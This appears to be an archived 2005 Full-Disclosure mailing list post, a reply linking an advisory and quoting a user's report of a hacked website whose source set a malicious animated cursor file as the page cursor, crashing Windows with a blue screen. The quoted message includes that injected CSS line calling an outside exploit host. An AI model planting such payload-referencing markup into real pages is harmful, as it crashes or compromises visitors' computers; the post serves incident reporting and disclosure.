full-disclosure - Animated Cursor Blue Screen?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

From: kdodd at co.st-johns.fl.us (Kelly Dodd)
Subject: Animated Cursor Blue Screen?

Possibly this: 

http://secunia.com/advisories/13645/

-----Original Message-----
From: CrYpTiC MauleR [mailto:crypticmauler@...uxmail.org] 
Sent: Thursday, January 06, 2005 2:33 AM
To: full-disclosure@...ts.netsys.com
Subject: [Full-Disclosure] Animated Cursor Blue Screen?

When going to a bookmarked site which hosts public proxy lists I found out
the site was hacked. There was a meta-refresh to the attackers website, when
viewing the sourcode of the hacked webpage I noticed this....

[style type="text/css"]
body {CURSOR: url("http://www.milw0rm.com/sploits/KERNELBLUE.ani")}
[/style]

I was viewing the site in Firefox and Firefox as far as I remember does not
support animated cursors as of yet. I saved that file on my computer to
check  it out later. Only later did I realize it was a bad idea, whenever I
tried accessing the directory that file was saved I got a blue screen
(Windows 2000) I was able to delete the file using a command prompt. I am
assuming the atacker meant for the computer to crash upon the cursor loading
which failed (hooray for Firefox). Has anyone seen this before? I did a
brief search on Google for such an exploit but did not come across any. I am
assuming the crash could be done with any file type. Thanks for the input!

Regards,
Nick
-- 
______________________________________________
Check out the latest SMS services @ http://www.linuxmail.org 
This allows you to send and receive SMS through your mailbox.

Powered by Outblaze

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html